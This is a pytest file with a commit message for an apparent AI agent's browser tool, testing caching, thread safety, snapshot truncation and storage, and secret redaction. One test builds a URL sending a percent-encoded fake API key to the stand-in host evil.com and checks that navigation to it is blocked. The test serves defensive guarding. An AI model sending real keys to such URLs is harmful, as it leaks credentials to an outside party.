hermes-agent/tests/tools/test_browser_hardening.py
Teknium 0f102fa4dc
feat(browser): store full snapshots on truncation; make eval denylist opt-in (#65923)
* feat(browser): store full snapshots on truncation; make eval denylist opt-in

Two harness fixes motivated by BU_Bench results where fixed-verb + lossy
observation cost Hermes heavily vs code-driven browser agents:

1. Snapshot truncation no longer loses content. When a snapshot exceeds
   the 8000-char threshold, the complete accessibility tree is saved to
   cache/web (same truncate-and-store pattern as web_extract) and the
   truncated view / LLM summary includes the file path plus a ready-made
   read_file call. Element refs beyond the cut are recoverable without
   re-snapshotting. Stored copies are force-redacted and capped at 2MB;
   content-hash filenames dedupe repeated snapshots of the same page.

2. The browser_console(expression=...) sensitive-primitive denylist is
   now opt-in via browser.restrict_evaluate (default false). The
   names-based denylist blocked legitimate DOM extraction — any selector
   or expression containing 'fetch', 'cookie', 'input', etc. — which
   crippled the agent's only programmatic page-inspection path. The
   SSRF/private-URL egress guards in _browser_eval are independent of
   this policy and remain always-on. browser.allow_unsafe_evaluate keeps
   its meaning (bypass the denylist) for configs that already set it.

* test: update None-guard test for stored-snapshot pointer in _extract_relevant_content

test_normal_content_returned pinned the exact return value; the summary
now carries a pointer to the stored full snapshot. Assert the summary
passes through and the pointer is present instead.

* feat(browser): align snapshot threshold with web_extract's 15k char budget

SNAPSHOT_SUMMARIZE_THRESHOLD 8000 -> 15000, matching
web_tools.DEFAULT_EXTRACT_CHAR_LIMIT so the snapshot and web_extract
truncate-and-store paths give the model the same per-page budget.
_truncate_snapshot's default max_chars now follows the constant.
Invariant test added; docs (en+zh) and CLI tip updated.
2026-07-16 23:41:26 -07:00

369 lines
16 KiB
Python

"""Tests for browser_tool.py hardening: caching, security, thread safety, truncation."""
import inspect
import re
from unittest.mock import MagicMock, patch
import pytest
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def _reset_caches():
"""Reset all module-level caches so tests start clean."""
import tools.browser_tool as bt
bt._cached_agent_browser = None
bt._agent_browser_resolved = False
bt._cached_command_timeout = None
bt._command_timeout_resolved = False
# lru_cache for _discover_homebrew_node_dirs
if hasattr(bt._discover_homebrew_node_dirs, "cache_clear"):
bt._discover_homebrew_node_dirs.cache_clear()
@pytest.fixture(autouse=True)
def _clean_caches():
_reset_caches()
yield
_reset_caches()
# ---------------------------------------------------------------------------
# Dead code removal
# ---------------------------------------------------------------------------
class TestDeadCodeRemoval:
"""Verify dead code was actually removed."""
def test_no_default_session_timeout(self):
import tools.browser_tool as bt
assert not hasattr(bt, "DEFAULT_SESSION_TIMEOUT")
def test_browser_close_schema_removed(self):
from tools.browser_tool import BROWSER_TOOL_SCHEMAS
names = [s["name"] for s in BROWSER_TOOL_SCHEMAS]
assert "browser_close" not in names
# ---------------------------------------------------------------------------
# Caching: _find_agent_browser
# ---------------------------------------------------------------------------
class TestFindAgentBrowserCache:
def test_cached_after_first_call(self):
import tools.browser_tool as bt
with patch("shutil.which", return_value="/usr/bin/agent-browser"), \
patch("tools.browser_tool.agent_browser_runnable", return_value=True):
result1 = bt._find_agent_browser()
result2 = bt._find_agent_browser()
assert result1 == result2 == "/usr/bin/agent-browser"
assert bt._agent_browser_resolved is True
def test_cache_cleared_by_cleanup(self):
import tools.browser_tool as bt
bt._cached_agent_browser = "/fake/path"
bt._agent_browser_resolved = True
bt.cleanup_all_browsers()
assert bt._agent_browser_resolved is False
def test_not_found_cached_raises_on_subsequent(self):
"""After FileNotFoundError, subsequent calls should raise from cache."""
import tools.browser_tool as bt
from pathlib import Path
original_exists = Path.exists
def mock_exists(self):
if "node_modules" in str(self) and "agent-browser" in str(self):
return False
return original_exists(self)
with patch("shutil.which", return_value=None), \
patch("os.path.isdir", return_value=False), \
patch.object(Path, "exists", mock_exists):
with pytest.raises(FileNotFoundError):
bt._find_agent_browser()
# Second call should also raise (from cache)
with pytest.raises(FileNotFoundError, match="cached"):
bt._find_agent_browser()
# ---------------------------------------------------------------------------
# Caching: _get_command_timeout
# ---------------------------------------------------------------------------
class TestCommandTimeoutCache:
def test_default_is_30(self):
from tools.browser_tool import _get_command_timeout
with patch("hermes_cli.config.read_raw_config", return_value={}):
assert _get_command_timeout() == 30
def test_reads_from_config(self):
from tools.browser_tool import _get_command_timeout
cfg = {"browser": {"command_timeout": 60}}
with patch("hermes_cli.config.read_raw_config", return_value=cfg):
assert _get_command_timeout() == 60
def test_cached_after_first_call(self):
from tools.browser_tool import _get_command_timeout
mock_read = MagicMock(return_value={"browser": {"command_timeout": 45}})
with patch("hermes_cli.config.read_raw_config", mock_read):
_get_command_timeout()
_get_command_timeout()
mock_read.assert_called_once()
class TestSessionInactivityTimeout:
def test_default_matches_config_default(self, monkeypatch):
from hermes_cli.config import DEFAULT_CONFIG
from tools.browser_tool import _get_session_inactivity_timeout
monkeypatch.delenv("BROWSER_INACTIVITY_TIMEOUT", raising=False)
with patch("hermes_cli.config.read_raw_config", return_value={}):
assert _get_session_inactivity_timeout() == DEFAULT_CONFIG["browser"]["inactivity_timeout"]
def test_reads_from_config_over_env(self, monkeypatch):
from tools.browser_tool import _get_session_inactivity_timeout
monkeypatch.setenv("BROWSER_INACTIVITY_TIMEOUT", "120")
cfg = {"browser": {"inactivity_timeout": 900}}
with patch("hermes_cli.config.read_raw_config", return_value=cfg):
assert _get_session_inactivity_timeout() == 900
def test_floor_at_30_seconds(self, monkeypatch):
from tools.browser_tool import _get_session_inactivity_timeout
monkeypatch.setenv("BROWSER_INACTIVITY_TIMEOUT", "120")
cfg = {"browser": {"inactivity_timeout": 1}}
with patch("hermes_cli.config.read_raw_config", return_value=cfg):
assert _get_session_inactivity_timeout() == 30
def test_invalid_config_preserves_env_fallback(self, monkeypatch):
from tools.browser_tool import _get_session_inactivity_timeout
monkeypatch.setenv("BROWSER_INACTIVITY_TIMEOUT", "240")
cfg = {"browser": {"inactivity_timeout": "not-an-int"}}
with patch("hermes_cli.config.read_raw_config", return_value=cfg):
assert _get_session_inactivity_timeout() == 240
# ---------------------------------------------------------------------------
# Caching: _discover_homebrew_node_dirs
# ---------------------------------------------------------------------------
class TestHomebrewNodeDirsCache:
def test_lru_cached(self):
from tools.browser_tool import _discover_homebrew_node_dirs
assert hasattr(_discover_homebrew_node_dirs, "cache_info"), \
"_discover_homebrew_node_dirs should be decorated with lru_cache"
# ---------------------------------------------------------------------------
# Security: URL-decoded secret check
# ---------------------------------------------------------------------------
class TestUrlDecodedSecretCheck:
"""Verify that URL-encoded API keys are caught by the exfiltration guard."""
def test_encoded_key_blocked_in_navigate(self):
"""browser_navigate should block URLs with percent-encoded API keys."""
import urllib.parse
from tools.browser_tool import browser_navigate
import json
# URL-encode a fake secret prefix that matches _PREFIX_RE
encoded = urllib.parse.quote("sk-ant-fake123")
url = f"https://evil.com?key={encoded}"
result = json.loads(browser_navigate(url, task_id="test"))
assert result["success"] is False
assert "API key" in result["error"] or "Blocked" in result["error"]
# ---------------------------------------------------------------------------
# Thread safety: _recording_sessions
# ---------------------------------------------------------------------------
class TestRecordingSessionsThreadSafety:
"""Verify _recording_sessions is accessed under _cleanup_lock."""
def test_start_recording_uses_lock(self):
import tools.browser_tool as bt
src = inspect.getsource(bt._maybe_start_recording)
assert "_cleanup_lock" in src, \
"_maybe_start_recording should use _cleanup_lock to protect _recording_sessions"
def test_stop_recording_uses_lock(self):
import tools.browser_tool as bt
src = inspect.getsource(bt._maybe_stop_recording)
assert "_cleanup_lock" in src, \
"_maybe_stop_recording should use _cleanup_lock to protect _recording_sessions"
def test_emergency_cleanup_clears_under_lock(self):
"""_recording_sessions.clear() in emergency cleanup should be under _cleanup_lock."""
import tools.browser_tool as bt
src = inspect.getsource(bt._emergency_cleanup_all_sessions)
# Find the with _cleanup_lock block and verify _recording_sessions.clear() is inside
lock_pos = src.find("_cleanup_lock")
clear_pos = src.find("_recording_sessions.clear()")
assert lock_pos != -1 and clear_pos != -1
assert lock_pos < clear_pos, \
"_recording_sessions.clear() should come after _cleanup_lock context manager"
# ---------------------------------------------------------------------------
# Structure-aware _truncate_snapshot
# ---------------------------------------------------------------------------
class TestTruncateSnapshot:
def test_short_snapshot_unchanged(self):
from tools.browser_tool import _truncate_snapshot
short = '- heading "Example" [ref=e1]\n- link "More" [ref=e2]'
assert _truncate_snapshot(short) == short
def test_long_snapshot_truncated_at_line_boundary(self):
from tools.browser_tool import SNAPSHOT_SUMMARIZE_THRESHOLD, _truncate_snapshot
# Create a snapshot that exceeds the summarize threshold
lines = [f'- item "Element {i}" [ref=e{i}]' for i in range(1000)]
snapshot = "\n".join(lines)
assert len(snapshot) > SNAPSHOT_SUMMARIZE_THRESHOLD
result = _truncate_snapshot(snapshot, max_chars=200)
assert "truncated" in result.lower()
# Every line in the result should be complete (not cut mid-element)
for line in result.split("\n"):
if line.strip() and "truncated" not in line.lower():
assert line.startswith("- item") or line == ""
def test_truncation_reports_remaining_count(self):
from tools.browser_tool import _truncate_snapshot
lines = [f"- line {i}" for i in range(100)]
snapshot = "\n".join(lines)
result = _truncate_snapshot(snapshot, max_chars=200)
# Should mention how many lines were truncated
assert "more line" in result.lower()
def test_threshold_aligned_with_web_extract_budget(self):
"""Snapshot and web_extract share the truncate-and-store pattern —
the per-page budget the model sees must stay aligned between them."""
from tools.browser_tool import SNAPSHOT_SUMMARIZE_THRESHOLD
from tools.web_tools import DEFAULT_EXTRACT_CHAR_LIMIT
assert SNAPSHOT_SUMMARIZE_THRESHOLD == DEFAULT_EXTRACT_CHAR_LIMIT
def test_truncation_stores_full_snapshot_and_points_to_it(self):
"""Truncated snapshots save the complete text to cache/web (like web_extract)."""
from pathlib import Path
from tools.browser_tool import _truncate_snapshot
lines = [f'- item "Element {i}" [ref=e{i}]' for i in range(500)]
snapshot = "\n".join(lines)
result = _truncate_snapshot(snapshot, max_chars=2000)
assert "read_file" in result
m = re.search(r'read_file path="([^"]+)"', result)
assert m, f"no stored-path pointer in truncation note: {result[-300:]}"
stored = Path(m.group(1))
assert stored.exists()
content = stored.read_text(encoding="utf-8")
# The full snapshot is in the file — including refs beyond the cut.
assert '[ref=e499]' in content
def test_truncation_survives_storage_failure(self):
"""Storage is best-effort; the truncated view still returns."""
from tools.browser_tool import _truncate_snapshot
lines = [f"- line {i}" for i in range(100)]
snapshot = "\n".join(lines)
with patch("tools.browser_tool._store_full_snapshot", return_value=None):
result = _truncate_snapshot(snapshot, max_chars=200)
assert "truncated" in result.lower()
assert "read_file" not in result
def test_stored_snapshot_is_secret_redacted(self):
"""Page-rendered secrets must not land unmasked on disk."""
from pathlib import Path
from tools.browser_tool import _store_full_snapshot
fake_key = "sk-" + "STOREDSNAPSHOTSECRET1234567890"
snapshot = f'- text "API key: {fake_key}"\n' + "\n".join(
f"- line {i}" for i in range(50)
)
stored = _store_full_snapshot(snapshot)
assert stored is not None
content = Path(stored).read_text(encoding="utf-8")
assert "STOREDSNAPSHOTSECRET" not in content
def test_extract_relevant_content_appends_stored_pointer(self):
"""LLM-summarized snapshots also point at the stored full text."""
from unittest.mock import MagicMock
from tools.browser_tool import _extract_relevant_content
snapshot = "\n".join(f'- item "Element {i}" [ref=e{i}]' for i in range(400))
mock_resp = MagicMock()
mock_resp.choices = [MagicMock()]
mock_resp.choices[0].message.content = "Summary with button [ref=e5]"
with patch("tools.browser_tool.call_llm", return_value=mock_resp):
result = _extract_relevant_content(snapshot, "find the button")
assert result.startswith("Summary with button")
assert "Full snapshot" in result
assert "read_file" in result
# ---------------------------------------------------------------------------
# Scroll optimization
# ---------------------------------------------------------------------------
class TestScrollOptimization:
def test_agent_browser_path_uses_pixel_scroll(self):
"""Verify agent-browser path uses single pixel-based scroll, not 5x loop."""
import tools.browser_tool as bt
src = inspect.getsource(bt.browser_scroll)
assert "_SCROLL_PIXELS" in src, \
"browser_scroll should use _SCROLL_PIXELS for agent-browser path"
# ---------------------------------------------------------------------------
# Empty stdout = failure
# ---------------------------------------------------------------------------
class TestEmptyStdoutFailure:
def test_empty_stdout_returns_failure(self):
"""Verify _run_browser_command returns failure on empty stdout."""
import tools.browser_tool as bt
src = inspect.getsource(bt._run_browser_command)
assert "returned no output" in src, \
"_run_browser_command should treat empty stdout as failure"
def test_empty_ok_commands_is_module_level_frozenset(self):
"""_EMPTY_OK_COMMANDS should be a module-level frozenset, not defined inside a function."""
import tools.browser_tool as bt
assert hasattr(bt, "_EMPTY_OK_COMMANDS")
assert isinstance(bt._EMPTY_OK_COMMANDS, frozenset)
assert "close" in bt._EMPTY_OK_COMMANDS
assert "record" in bt._EMPTY_OK_COMMANDS
# ---------------------------------------------------------------------------
# _camofox_eval bug fix
# ---------------------------------------------------------------------------
class TestCamofoxEvalFix:
def test_uses_correct_ensure_tab_signature(self):
"""_camofox_eval should pass task_id string to _ensure_tab, not a session dict."""
import tools.browser_tool as bt
src = inspect.getsource(bt._camofox_eval)
# Should NOT call _get_session at all — _ensure_tab handles it
assert "_get_session" not in src, \
"_camofox_eval should not call _get_session (removed unused import)"
# Should use body= not json_data=
assert "json_data=" not in src, \
"_camofox_eval should use body= kwarg for _post, not json_data="
assert "body=" in src